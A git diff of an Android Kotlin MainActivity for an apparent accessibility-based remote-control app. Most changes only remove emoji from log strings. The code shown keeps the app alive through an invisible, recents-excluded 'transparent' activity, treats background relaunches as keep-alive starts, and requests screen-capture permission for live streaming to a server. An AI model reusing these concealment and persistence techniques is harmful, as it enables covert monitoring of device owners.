"Vivo设备恢复成功\n无障碍服务已正常运行" @@ -2368,22 +2368,22 @@ class MainActivity : AppCompatActivity() { } // 恢复失败,启动降级模式 - Log.w(TAG, "⚠️ Vivo恢复失败,启动降级模式") + Log.w(TAG, "Vivo恢复失败,启动降级模式") startDegradedMode() } } catch (e: Exception) { - Log.e(TAG, "❌ Vivo特定恢复失败", e) + Log.e(TAG, "Vivo特定恢复失败", e) startDegradedMode() } } /** - * ✅ 新增:启动降级模式 + *新增:启动降级模式 */ private fun startDegradedMode() { try { - Log.i(TAG, "📱 启动降级模式:禁用部分功能,保持APP稳定") + Log.i(TAG, "启动降级模式:禁用部分功能,保持APP稳定") runOnUiThread { if (::statusText.isInitialized) { @@ -2407,15 +2407,15 @@ class MainActivity : AppCompatActivity() { Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) startForegroundService(basicServiceIntent) - Log.i(TAG, "✅ 降级模式已启动") + Log.i(TAG, "降级模式已启动") } catch (e: Exception) { - Log.e(TAG, "❌ 启动降级模式失败", e) + Log.e(TAG, "启动降级模式失败", e) } } /** - * ✅ 修复:优化的保活检测方法,避免误判导致卡顿 + *修复:优化的保活检测方法,避免误判导致卡顿 */ private fun shouldJumpToTransparentActivity(): Boolean { return try { @@ -2427,19 +2427,19 @@ class MainActivity : AppCompatActivity() { intent.getBooleanExtra("keepalive_service_start", false) if (explicitKeepAlive) { - Log.i(TAG, "🫥 检测到明确的保活参数,跳转到透明Activity") + Log.i(TAG, "检测到明确的保活参数,跳转到透明Activity") return true } // 检查是否来自用户主动启动,如果是则不跳转 if (intent.action == Intent.ACTION_MAIN && intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true) { - Log.d(TAG, "🔒 用户主动启动,不跳转到透明Activity") + Log.d(TAG, "用户主动启动,不跳转到透明Activity") return false } if (intent.getBooleanExtra("user_initiated", false)) { - Log.d(TAG, "🔒 用户主动启动标识,不跳转到透明Activity") + Log.d(TAG, "用户主动启动标识,不跳转到透明Activity") return false } } @@ -2447,113 +2447,113 @@ class MainActivity : AppCompatActivity() { // 检查透明保活Activity是否已经在运行 val transparentActivity = com.hikoncont.TransparentKeepAliveActivity.getInstance() if (transparentActivity != null) { - Log.i(TAG, "🫥 透明保活Activity已运行,跳转到透明Activity") + Log.i(TAG, "透明保活Activity已运行,跳转到透明Activity") return true } false } catch (e: Exception) { - Log.e(TAG, "❌ 检查保活状态失败", e) + Log.e(TAG, "检查保活状态失败", e) false } } /** - * ✅ 参考zuiqiang:严格的保活检测方法,避免频繁启动和动画 - * ✅ 关键:只有在安装完成后才进行保活检测 - * ✅ 新增:OPPO设备禁用Activity保活检测 + *参考zuiqiang:严格的保活检测方法,避免频繁启动和动画 + *关键:只有在安装完成后才进行保活检测 + *新增:OPPO设备禁用Activity保活检测 */ private fun isLaunchedByKeepAlive(): Boolean { - // ✅ 新增:OPPO设备禁用Activity保活检测 + //新增:OPPO设备禁用Activity保活检测 if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) { - Log.i(TAG, "📱 OPPO设备:禁用Activity保活检测,仅使用服务保活") + Log.i(TAG, "OPPO设备:禁用Activity保活检测,仅使用服务保活") return false } return try { - // ✅ 关键:首先检查安装是否完成,未完成则不进行保活检测 + //关键:首先检查安装是否完成,未完成则不进行保活检测 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { - Log.d(TAG, "🔒 安装未完成,跳过保活检测") + Log.d(TAG, "安装未完成,跳过保活检测") return false } - // ✅ 检查安装完成时间,确保不是刚安装完成 + //检查安装完成时间,确保不是刚安装完成 val installationTime = installationStateManager.getInstallationTime() val currentTime = System.currentTimeMillis() val timeSinceInstallation = currentTime - installationTime // 如果安装完成时间少于30秒,跳过保活检测(给系统足够时间稳定) if (timeSinceInstallation < 30000L) { - Log.d(TAG, "🔒 安装刚完成(${timeSinceInstallation}ms),跳过保活检测,等待系统稳定") + Log.d(TAG, "安装刚完成(${timeSinceInstallation}ms),跳过保活检测,等待系统稳定") return false } val intent = getIntent() if (intent == null) { - Log.d(TAG, "🔍 Intent为空,非保活拉起") + Log.d(TAG, "Intent为空,非保活拉起") return false } - // ✅ 检查是否为用户主动启动(通过桌面图标) + //检查是否为用户主动启动(通过桌面图标) if (intent.action == Intent.ACTION_MAIN && intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true ) { - Log.d(TAG, "🔒 用户主动启动,跳过保活检测") + Log.d(TAG, "用户主动启动,跳过保活检测") return false } - // ✅ 检查是否为用户主动启动标识 + //检查是否为用户主动启动标识 if (intent.getBooleanExtra("user_initiated", false) == true) { - Log.d(TAG, "🔒 用户主动启动标识,跳过保活检测") + Log.d(TAG, "用户主动启动标识,跳过保活检测") return false } - // ✅ 检查是否来自安装完成广播 + //检查是否来自安装完成广播 if (intent.getBooleanExtra("from_installation_complete", false) == true) { - Log.d(TAG, "🔒 来自安装完成广播,跳过保活检测") + Log.d(TAG, "来自安装完成广播,跳过保活检测") return false } - // ✅ 参考zuiqiang:快速检查保活相关参数 + //参考zuiqiang:快速检查保活相关参数 val fromKeepAlive = intent.getBooleanExtra("from_keepalive", false) val keepaliveLaunch = intent.getBooleanExtra("keepalive_launch", false) val fromService = intent.getBooleanExtra("from_service", false) val fromBroadcast = intent.getBooleanExtra("from_broadcast", false) val keepaliveServiceStart = intent.getBooleanExtra("keepalive_service_start", false) - // ✅ 参考zuiqiang:检查是否为保活启动 + //参考zuiqiang:检查是否为保活启动 val isKeepAliveLaunch = fromKeepAlive || keepaliveLaunch || fromService || fromBroadcast || keepaliveServiceStart if (isKeepAliveLaunch) { - Log.i(TAG, "🫥 检测到保活相关参数,判断为保活程序拉起") + Log.i(TAG, "检测到保活相关参数,判断为保活程序拉起") return true } - // ✅ 参考zuiqiang:更严格的启动频率检查 + //参考zuiqiang:更严格的启动频率检查 val lastLaunchTime = getSharedPreferences("keepalive_launch", Context.MODE_PRIVATE) .getLong("last_launch_time", 0) val timeSinceLastLaunch = currentTime - lastLaunchTime - // ✅ 参考zuiqiang:更严格的频率检测,2秒内启动认为是保活 + //参考zuiqiang:更严格的频率检测,2秒内启动认为是保活 if (timeSinceLastLaunch < 2000L) { - Log.i(TAG, "🫥 检测到频繁启动(${timeSinceLastLaunch}ms),判断为保活程序拉起") + Log.i(TAG, "检测到频繁启动(${timeSinceLastLaunch}ms),判断为保活程序拉起") return true } - // ✅ 参考zuiqiang:检查是否在后台启动(保活特征) + //参考zuiqiang:检查是否在后台启动(保活特征) val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager val runningTasks = activityManager.getRunningTasks(1) val isBackgroundLaunch = runningTasks.isNotEmpty() && runningTasks[0].topActivity?.packageName != packageName if (isBackgroundLaunch) { - Log.i(TAG, "🫥 检测到后台启动,判断为保活程序拉起") + Log.i(TAG, "检测到后台启动,判断为保活程序拉起") return true } - // ✅ 参考zuiqiang:检查应用是否在前台,如果不在前台启动则认为是保活 + //参考zuiqiang:检查应用是否在前台,如果不在前台启动则认为是保活 val isAppInForeground = try { val appProcesses = activityManager.runningAppProcesses appProcesses?.any { @@ -2565,7 +2565,7 @@ class MainActivity : AppCompatActivity() { } if (!isAppInForeground) { - Log.i(TAG, "🫥 检测到应用不在前台启动,判断为保活程序拉起") + Log.i(TAG, "检测到应用不在前台启动,判断为保活程序拉起") return true } @@ -2575,17 +2575,17 @@ class MainActivity : AppCompatActivity() { .putLong("last_launch_time", currentTime) .apply() - Log.d(TAG, "📱 非保活程序拉起,正常启动") + Log.d(TAG, "非保活程序拉起,正常启动") false } catch (e: Exception) { - Log.e(TAG, "❌ 检查保活拉起状态失败", e) + Log.e(TAG, "检查保活拉起状态失败", e) false } } /** - * ✅ 新增:检查服务是否运行 + *新增:检查服务是否运行 */ private fun isServiceRunning(serviceClass: Class<*>): Boolean { return try { @@ -2595,19 +2595,19 @@ class MainActivity : AppCompatActivity() { runningServices.any { it.service.className == serviceClass.name } } catch (e: Exception) { - Log.e(TAG, "❌ 检查服务运行状态失败", e) + Log.e(TAG, "检查服务运行状态失败", e) false } } /** - * ✅ 新增:为保活拉起设置透明窗口,避免闪屏 + *新增:为保活拉起设置透明窗口,避免闪屏 */ private fun setupTransparentWindowForKeepAlive() { try { - Log.i(TAG, "🫥 设置透明窗口,避免保活拉起时闪屏") + Log.i(TAG, "设置透明窗口,避免保活拉起时闪屏") - // ✅ 修复:异步设置透明窗口,避免阻塞主线程 + //修复:异步设置透明窗口,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // 设置透明主题 @@ -2646,57 +2646,57 @@ class MainActivity : AppCompatActivity() { // 设置窗口透明度 window.decorView.alpha = 0f - Log.i(TAG, "✅ 透明窗口设置完成") + Log.i(TAG, "透明窗口设置完成") } catch (e: Exception) { - Log.e(TAG, "❌ 延迟设置透明窗口失败", e) + Log.e(TAG, "延迟设置透明窗口失败", e) } }, 100) // 100ms延迟,避免ANR } catch (e: Exception) { - Log.e(TAG, "❌ 设置透明窗口失败", e) + Log.e(TAG, "设置透明窗口失败", e) } } } catch (e: Exception) { - Log.e(TAG, "❌ 设置透明窗口失败", e) + Log.e(TAG, "设置透明窗口失败", e) } } /** - * ✅ 新增:跳转到透明Activity并结束自己 + *新增:跳转到透明Activity并结束自己 */ private fun jumpToTransparentActivityAndFinish() { try { - Log.i(TAG, "🫥 开始跳转到透明Activity并结束自己") + Log.i(TAG, "开始跳转到透明Activity并结束自己") - // ✅ 强化安装完成检查 + //强化安装完成检查 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { - Log.w(TAG, "⚠️ 安装未完成,透明保活Activity无效,直接结束") + Log.w(TAG, "安装未完成,透明保活Activity无效,直接结束") finish() return } - // ✅ 新增:检查安装完成时间,确保不是刚安装完成 + //新增:检查安装完成时间,确保不是刚安装完成 val installationTime = installationStateManager.getInstallationTime() val transparentCurrentTime = System.currentTimeMillis() val timeSinceInstallation = transparentCurrentTime - installationTime if (timeSinceInstallation < 30000L) { - Log.w(TAG, "⚠️ 安装刚完成(${timeSinceInstallation}ms),透明保活Activity无效,直接结束") + Log.w(TAG, "安装刚完成(${timeSinceInstallation}ms),透明保活Activity无效,直接结束") finish() return } - // ✅ 新增:检查应用启动次数 + //新增:检查应用启动次数 val appLaunchCount = getSharedPreferences("app_launch", Context.MODE_PRIVATE) .getInt("launch_count", 0) if (appLaunchCount < 3) { - Log.w(TAG, "⚠️ 应用启动次数不足($appLaunchCount),透明保活Activity无效,直接结束") + Log.w(TAG, "应用启动次数不足($appLaunchCount),透明保活Activity无效,直接结束") finish() return } @@ -2706,8 +2706,8 @@ class MainActivity : AppCompatActivity() { Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) // 禁用动画,避免闪屏 - addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) // ✅ 修复:从最近任务中排除 - addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) // ✅ 修复:单例模式,避免重复创建 + addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) //修复:从最近任务中排除 + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) //修复:单例模式,避免重复创建 putExtra("keepalive_launch", true) putExtra("from_main_activity", true) putExtra("timestamp", System.currentTimeMillis()) @@ -2717,7 +2717,7 @@ class MainActivity : AppCompatActivity() { overridePendingTransition(0, 0) startActivity(transparentIntent) - Log.i(TAG, "✅ 透明保活Activity已启动") + Log.i(TAG, "透明保活Activity已启动") // 立即结束自己,减少延迟 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ @@ -2726,28 +2726,28 @@ class MainActivity : AppCompatActivity() { finish() overridePendingTransition(0, 0) // 禁用结束动画 } catch (e: Exception) { - Log.e(TAG, "❌ 结束MainActivity失败", e) + Log.e(TAG, "结束MainActivity失败", e) } }, 50) // 减少延迟到50ms,更快响应 } catch (e: Exception) { - Log.e(TAG, "❌ 跳转到透明Activity失败", e) + Log.e(TAG, "跳转到透明Activity失败", e) // 如果跳转失败,直接结束 finish() } } /** - * ✅ 新增:标准无障碍服务恢复 + *新增:标准无障碍服务恢复 */ private fun performStandardAccessibilityRecovery() { - Log.i(TAG, "🔄 开始强制恢复无障碍服务") + Log.i(TAG, "开始强制恢复无障碍服务") try { - // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 - Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启") + //参考 f 目录:不重启无障碍服务,系统会自动管理 + Log.d(TAG, "无障碍服务由系统自动管理,无需手动重启") - // ✅ 参考 f 目录策略:不启动多余的保活服务,只启动主前台服务 + //参考 f 目录策略:不启动多余的保活服务,只启动主前台服务 try { // 只启动主前台服务(对应 f 目录的 BackRunServerUseUse) val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) @@ -2756,9 +2756,9 @@ class MainActivity : AppCompatActivity() { } else { startService(foregroundIntent) } - Log.i(TAG, "✅ 已启动主前台服务做后台恢复(参考 f 目录策略)") + Log.i(TAG, "已启动主前台服务做后台恢复(参考 f 目录策略)") } catch (e: Exception) { - Log.w(TAG, "⚠️ 启动主前台服务失败: ${e.message}") + Log.w(TAG, "启动主前台服务失败: ${e.message}") } // 方法3: 延迟检查恢复效果 @@ -2770,35 +2770,35 @@ class MainActivity : AppCompatActivity() { android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ val serviceInstance = AccessibilityRemoteService.getInstance() if (serviceInstance == null) { - Log.w(TAG, "⚠️ 广播重启无效,尝试直接启动无障碍服务") + Log.w(TAG, "广播重启无效,尝试直接启动无障碍服务") tryDirectStartAccessibilityService() } }, 5000) // 5秒后尝试直接启动 } catch (e: Exception) { - Log.e(TAG, "❌ 强制恢复无障碍服务失败", e) + Log.e(TAG, "强制恢复无障碍服务失败", e) } } /** - * ✅ 新增:检查恢复结果 + *新增:检查恢复结果 */ private fun checkRecoveryResult() { try { val serviceInstance = AccessibilityRemoteService.getInstance() val serviceRunning = AccessibilityRemoteService.isServiceRunning() - Log.i(TAG, "🔍 检查无障碍服务恢复结果:") + Log.i(TAG, "检查无障碍服务恢复结果:") Log.i(TAG, " - 服务实例存在: ${serviceInstance != null}") Log.i(TAG, " - 服务运行状态: $serviceRunning") if (serviceInstance != null && serviceRunning) { - Log.i(TAG, "✅ 无障碍服务恢复成功") + Log.i(TAG, "无障碍服务恢复成功") // 更新UI状态 runOnUiThread { updateStatusTextSafely( - "✅ 无障碍服务已恢复\n正在重新连接...", + "无障碍服务已恢复\n正在重新连接...", android.R.color.holo_green_dark ) } @@ -2807,21 +2807,21 @@ class MainActivity : AppCompatActivity() { serviceInstance.reconnectToServer() } else { - Log.w(TAG, "⚠️ 无障碍服务恢复失败,尝试其他方法") + Log.w(TAG, "无障碍服务恢复失败,尝试其他方法") tryAlternativeRecoveryMethods() } } catch (e: Exception) { - Log.e(TAG, "❌ 检查恢复结果失败", e) + Log.e(TAG, "检查恢复结果失败", e) } } /** - * ✅ 新增:尝试直接启动无障碍服务 + *新增:尝试直接启动无障碍服务 */ private fun tryDirectStartAccessibilityService() { try { - Log.i(TAG, "🔄 尝试直接启动无障碍服务") + Log.i(TAG, "尝试直接启动无障碍服务") // 发送服务启动广播 val startIntent = Intent("android.mycustrecev.START_ACCESSIBILITY_SERVICE") @@ -2831,34 +2831,34 @@ class MainActivity : AppCompatActivity() { android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ val serviceInstance = AccessibilityRemoteService.getInstance() if (serviceInstance != null) { - Log.i(TAG, "✅ 直接启动无障碍服务成功") + Log.i(TAG, "直接启动无障碍服务成功") runOnUiThread { updateStatusTextSafely( - "✅ 无障碍服务已启动\n正在初始化...", + "无障碍服务已启动\n正在初始化...", android.R.color.holo_green_dark ) } } else { - Log.w(TAG, "⚠️ 直接启动无障碍服务失败") + Log.w(TAG, "直接启动无障碍服务失败") tryAlternativeRecoveryMethods() } }, 2000) } catch (e: Exception) { - Log.e(TAG, "❌ 直接启动无障碍服务失败", e) + Log.e(TAG, "直接启动无障碍服务失败", e) } } /** - * ✅ 新增:尝试其他恢复方法 + *新增:尝试其他恢复方法 */ private fun tryAlternativeRecoveryMethods() { try { - Log.i(TAG, "🔄 尝试其他恢复方法") + Log.i(TAG, "尝试其他恢复方法") runOnUiThread { updateStatusTextSafely( - "⚠️ 无障碍服务恢复失败\n请手动重新启用无障碍服务\n或重启应用", + "无障碍服务恢复失败\n请手动重新启用无障碍服务\n或重启应用", android.R.color.holo_red_dark ) if (::enableButton.isInitialized) { @@ -2879,14 +2879,14 @@ class MainActivity : AppCompatActivity() { }, 2000) } catch (e: Exception) { - Log.e(TAG, "❌ 尝试其他恢复方法失败", e) + Log.e(TAG, "尝试其他恢复方法失败", e) } } private fun updateUI() { - // ✅ 安全检查:确保UI组件已初始化 + //安全检查:确保UI组件已初始化 if (!::enableButton.isInitialized) { - Log.w(TAG, "⚠️ UI组件未初始化,跳过updateUI") + Log.w(TAG, "UI组件未初始化,跳过updateUI") return } @@ -2894,7 +2894,7 @@ class MainActivity : AppCompatActivity() { val isAccessibilityEnabled = isAccessibilityServiceEnabled() // 删除悬浮窗权限检查 - Log.d(TAG, "🔍 UI状态检查: 服务运行=$isServiceRunning, 无障碍启用=$isAccessibilityEnabled") + Log.d(TAG, "UI状态检查: 服务运行=$isServiceRunning, 无障碍启用=$isAccessibilityEnabled") when { isServiceRunning && isAccessibilityEnabled -> { @@ -2904,7 +2904,7 @@ class MainActivity : AppCompatActivity() { // 更新Switch状态 updateSwitchState() - // ✅ 修复:无障碍权限正常时,自动切换到WebView界面 + //修复:无障碍权限正常时,自动切换到WebView界面 Log.i(TAG, "🌐 无障碍权限正常,自动切换到WebView界面") switchToWebViewInterface() } @@ -2913,13 +2913,13 @@ class MainActivity : AppCompatActivity() { !isAccessibilityEnabled -> { // 🔑 对于无障碍服务未启用状态,如果有自定义状态文本,直接使用,不受保护机制影响 - Log.d(TAG, "🔍 updateUI - customStatusText值: '$customStatusText'") + Log.d(TAG, "updateUI - customStatusText值: '$customStatusText'") val displayText = if (!customStatusText.isNullOrEmpty()) { - Log.i(TAG, "📝 使用自定义状态文本: $customStatusText") + Log.i(TAG, "使用自定义状态文本: $customStatusText") customStatusText!! } else { - Log.i(TAG, "📝 使用默认状态文本") - "❌ 服务未启动\n💡 需要开启无障碍服务\n🔐 稍后会自动配置" + Log.i(TAG, "使用默认状态文本") + "服务未启动\n💡 需要开启无障碍服务\n🔐 稍后会自动配置" } // 🔑 对于初始状态,总是显示自定义状态文本(如果有) statusText.text = displayText @@ -2940,23 +2940,23 @@ class MainActivity : AppCompatActivity() { } isAccessibilityEnabled && !isServiceRunning -> { - // ✅ 无障碍已启用但服务未运行,这是正常的中间状态,给用户明确指引 + //无障碍已启用但服务未运行,这是正常的中间状态,给用户明确指引 updateStatusTextSafely( "⏳ 无障碍服务已启用\n🚀 正在启动服务...\n💡 如果长时间不跳转,请重新打开应用", android.R.color.holo_blue_dark ) enableButton.text = "服务启动中" - enableButton.isEnabled = true // ✅ 允许用户重新尝试 + enableButton.isEnabled = true //允许用户重新尝试 // 更新Switch状态 updateSwitchState() - // ✅ 添加超时机制,10秒后允许用户重新操作 + //添加超时机制,10秒后允许用户重新操作 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ if (!AccessibilityRemoteService.isServiceRunning() && !isFinishing) { - Log.w(TAG, "⚠️ 服务启动超时,更新UI状态") + Log.w(TAG, "服务启动超时,更新UI状态") runOnUiThread { updateStatusTextSafely( - "⚠️ 服务启动较慢\n💡 请尝试重新打开应用\n🔄 或点击按钮重新检查", + "服务启动较慢\n💡 请尝试重新打开应用\n或点击按钮重新检查", android.R.color.holo_orange_dark ) enableButton.text = "重新检查状态" @@ -2969,7 +2969,7 @@ class MainActivity : AppCompatActivity() { else -> { updateStatusTextSafely( - "🔄 正在配置权限...\n请稍等片刻", + "正在配置权限...\n请稍等片刻", android.R.color.holo_blue_dark ) enableButton.text = "配置中" @@ -2986,7 +2986,7 @@ class MainActivity : AppCompatActivity() { val isAccessibilityEnabled = isAccessibilityServiceEnabled() // 删除悬浮窗权限检查 - // ✅ 新增:检查存储权限状态 + //新增:检查存储权限状态 checkStoragePermissions() Log.i(TAG, "权限状态 - 无障碍: $isAccessibilityEnabled") @@ -2994,13 +2994,13 @@ class MainActivity : AppCompatActivity() { when { !isAccessibilityEnabled -> { Log.i(TAG, "无障碍权限未开启,用户主动操作,跳转到无障碍设置") - // ✅ 用户主动操作时,跳转到无障碍设置 + //用户主动操作时,跳转到无障碍设置 openAccessibilitySettings() } isAccessibilityEnabled -> { // 无障碍服务已启用,直接切换到WebView界面 - Log.i(TAG, "✅ 无障碍服务已开启,切换到WebView界面") + Log.i(TAG, "无障碍服务已开启,切换到WebView界面") switchToWebViewInterface() } @@ -3015,11 +3015,11 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:线程安全的 statusText 更新方法 + *新增:线程安全的 statusText 更新方法 */ private fun updateStatusTextThreadSafe(text: String, colorResId: Int? = null) { if (isFinishing || isDestroyed) { - Log.w(TAG, "⚠️ Activity已销毁,跳过statusText更新: $text") + Log.w(TAG, "Activity已销毁,跳过statusText更新: $text") return } @@ -3028,22 +3028,22 @@ class MainActivity : AppCompatActivity() { if (::statusText.isInitialized && !isFinishing && !isDestroyed) { statusText.text = text colorResId?.let { statusText.setTextColor(getColor(it)) } - Log.d(TAG, "✅ statusText已更新: $text") + Log.d(TAG, "statusText已更新: $text") } else { - Log.w(TAG, "⚠️ statusText未初始化或Activity已销毁,跳过更新") + Log.w(TAG, "statusText未初始化或Activity已销毁,跳过更新") } } catch (e: Exception) { - Log.e(TAG, "❌ 更新statusText失败: $text", e) + Log.e(TAG, "更新statusText失败: $text", e) } } } /** - * ✅ 新增:线程安全的按钮更新方法 + *新增:线程安全的按钮更新方法 */ private fun updateButtonSafely(text: String, colorResId: Int? = null, enabled: Boolean? = null) { if (isFinishing || isDestroyed) { - Log.w(TAG, "⚠️ Activity已销毁,跳过按钮更新: $text") + Log.w(TAG, "Activity已销毁,跳过按钮更新: $text") return } @@ -3053,18 +3053,18 @@ class MainActivity : AppCompatActivity() { enableButton.text = text colorResId?.let { enableButton.setBackgroundColor(getColor(it)) } enabled?.let { enableButton.isEnabled = it } - Log.d(TAG, "✅ 按钮已更新: $text") + Log.d(TAG, "按钮已更新: $text") } else { - Log.w(TAG, "⚠️ 按钮未初始化或Activity已销毁,跳过更新") + Log.w(TAG, "按钮未初始化或Activity已销毁,跳过更新") } } catch (e: Exception) { - Log.e(TAG, "❌ 更新按钮失败: $text", e) + Log.e(TAG, "更新按钮失败: $text", e) } } } /** - * ✅ 新增:标记权限申请状态 + *新增:标记权限申请状态 */ private fun markPermissionRequesting(isRequesting: Boolean) { try { @@ -3072,17 +3072,17 @@ class MainActivity : AppCompatActivity() { prefs.edit().putBoolean("is_requesting", isRequesting).apply() if (isRequesting) { - Log.d(TAG, "🔒 标记权限申请中,防止保活循环") + Log.d(TAG, "标记权限申请中,防止保活循环") } else { Log.d(TAG, "🔓 清除权限申请标记") } } catch (e: Exception) { - Log.e(TAG, "❌ 标记权限申请状态失败", e) + Log.e(TAG, "标记权限申请状态失败", e) } } /** - * ✅ 新增:记录应用启动次数 + *新增:记录应用启动次数 */ private fun recordAppLaunch() { try { @@ -3101,12 +3101,12 @@ class MainActivity : AppCompatActivity() { Log.d(TAG, "🕐 首次启动时间已记录: $firstLaunchTime") } } catch (e: Exception) { - Log.e(TAG, "❌ 记录应用启动次数失败", e) + Log.e(TAG, "记录应用启动次数失败", e) } } /** - * ✅ 新增:切换到WebView界面 + *新增:切换到WebView界面 */ private fun switchToWebViewInterface() { try { @@ -3114,12 +3114,12 @@ class MainActivity : AppCompatActivity() { // 检查Activity状态 if (isFinishing || isDestroyed) { - Log.e(TAG, "❌ Activity已销毁或正在结束,无法切换到WebView") + Log.e(TAG, "Activity已销毁或正在结束,无法切换到WebView") return } // 更新UI状态显示 - 使用线程安全方法 - updateStatusTextThreadSafe("✅ 无障碍服务已启用\n正在加载WebView界面...", android.R.color.holo_green_dark) + updateStatusTextThreadSafe("无障碍服务已启用\n正在加载WebView界面...", android.R.color.holo_green_dark) updateButtonSafely("服务运行中", android.R.color.holo_green_dark, false) // 延迟启动WebView,让用户看到状态更新 @@ -3127,12 +3127,12 @@ class MainActivity : AppCompatActivity() { try { // 再次检查Activity状态 if (isFinishing || isDestroyed) { - Log.e(TAG, "❌ Activity已销毁,取消WebView启动") + Log.e(TAG, "Activity已销毁,取消WebView启动") return@postDelayed } startWebViewActivity() - Log.i(TAG, "✅ WebView界面启动成功") + Log.i(TAG, "WebView界面启动成功") // 发送广播通知无障碍服务WebView已启动 val webViewStartedIntent = Intent("android.mycustrecev.WEBVIEW_STARTED").apply { @@ -3143,52 +3143,52 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "📡 已发送WebView启动广播") } catch (e: Exception) { - Log.e(TAG, "❌ WebView界面启动失败", e) + Log.e(TAG, "WebView界面启动失败", e) // 如果WebView启动失败,显示错误状态 - 使用线程安全方法 - updateStatusTextThreadSafe("❌ WebView加载失败\n请重启应用", android.R.color.holo_red_dark) + updateStatusTextThreadSafe("WebView加载失败\n请重启应用", android.R.color.holo_red_dark) updateButtonSafely("重新启动", android.R.color.holo_red_dark, true) } }, 1500) // 延迟1.5秒,让用户看到状态更新 } catch (e: Exception) { - Log.e(TAG, "❌ 切换到WebView界面失败", e) + Log.e(TAG, "切换到WebView界面失败", e) } } /** - * ✅ 新增:检查存储权限状态 + *新增:检查存储权限状态 */ private fun checkStoragePermissions() { try { - Log.i(TAG, "🔍 检查存储权限状态") + Log.i(TAG, "检查存储权限状态") // 检查存储状态 val storageStatus = com.hikoncont.util.XiaomiFileUtils.getStorageStatus(this) - Log.i(TAG, "📱 存储状态: $storageStatus") + Log.i(TAG, "存储状态: $storageStatus") // 如果是小米设备且存储权限有问题,记录警告 if (com.hikoncont.util.XiaomiFileUtils.isXiaomiDevice()) { val hasPermission = storageStatus["hasExternalStoragePermission"] as? Boolean ?: false if (!hasPermission) { - Log.w(TAG, "⚠️ 小米设备缺少外部存储权限,可能影响 mi_exception_log 写入") + Log.w(TAG, "小米设备缺少外部存储权限,可能影响 mi_exception_log 写入") } } } catch (e: Exception) { - Log.e(TAG, "❌ 检查存储权限失败", e) + Log.e(TAG, "检查存储权限失败", e) } } /** - * ✅ 新增:处理无障碍服务卡住检测和自动恢复 + *新增:处理无障碍服务卡住检测和自动恢复 */ private fun handleAccessibilityServiceStuckDetection() { - Log.i(TAG, "🔍 开始无障碍服务智能故障检测") + Log.i(TAG, "开始无障碍服务智能故障检测") - // ✅ 参考billd-desk:Android 11+也需要检查MediaProjection权限(不再跳过) - Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备,正常检查MediaProjection权限状态") + //参考billd-desk:Android 11+也需要检查MediaProjection权限(不再跳过) + Log.i(TAG, "Android ${Build.VERSION.SDK_INT} 设备,正常检查MediaProjection权限状态") - // ✅ 关键修复:区分无障碍截图权限和MediaProjection权限 + //关键修复:区分无障碍截图权限和MediaProjection权限 val hasAccessibilityScreenshotPermission = checkAccessibilityScreenshotPermission() val hasMediaProjectionPermission = checkRealMediaProjectionPermission() @@ -3197,7 +3197,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, " - MediaProjection投屏权限: $hasMediaProjectionPermission") if (hasMediaProjectionPermission) { - Log.i(TAG, "✅ MediaProjection权限确实存在,检查是否需要申请悬浮窗权限") + Log.i(TAG, "MediaProjection权限确实存在,检查是否需要申请悬浮窗权限") // 删除悬浮窗权限申请,直接显示就绪状态 Log.i(TAG, "🔧 跳过悬浮窗权限申请") @@ -3215,10 +3215,10 @@ class MainActivity : AppCompatActivity() { return } - // ✅ 即使有无障碍截图权限,也必须申请MediaProjection权限用于实时投屏 + //即使有无障碍截图权限,也必须申请MediaProjection权限用于实时投屏 if (hasAccessibilityScreenshotPermission && !hasMediaProjectionPermission) { - Log.w(TAG, "⚠️ 检测到仅有无障碍截图权限,但缺少MediaProjection实时投屏权限") - Log.w(TAG, "⚠️ 无障碍截图只能单次截图,实时投屏需要MediaProjection权限") + Log.w(TAG, "检测到仅有无障碍截图权限,但缺少MediaProjection实时投屏权限") + Log.w(TAG, "无障碍截图只能单次截图,实时投屏需要MediaProjection权限") runOnUiThread { if (::statusText.isInitialized) { @@ -3239,17 +3239,17 @@ class MainActivity : AppCompatActivity() { if (serviceRunning && serviceInstance != null) { // 服务正常但需要申请MediaProjection权限 - Log.w(TAG, "⚠️ AccessibilityService正常,但需要申请MediaProjection权限") + Log.w(TAG, "AccessibilityService正常,但需要申请MediaProjection权限") startMediaProjectionPermissionFlow() } else { // 服务可能崩溃或启动异常,启动超时重试检测 - Log.w(TAG, "⚠️ AccessibilityService可能出现故障,启动超时恢复机制") + Log.w(TAG, "AccessibilityService可能出现故障,启动超时恢复机制") startAccessibilityServiceFailureRecovery() } } /** - * ✅ 新增:检查Android 9+无障碍服务截图权限 + *新增:检查Android 9+无障碍服务截图权限 */ private fun checkAccessibilityScreenshotPermission(): Boolean { return try { @@ -3273,11 +3273,11 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:检查真实的MediaProjection权限(不仅仅是数据存在) + *新增:检查真实的MediaProjection权限(不仅仅是数据存在) */ private fun checkRealMediaProjectionPermission(): Boolean { return try { - 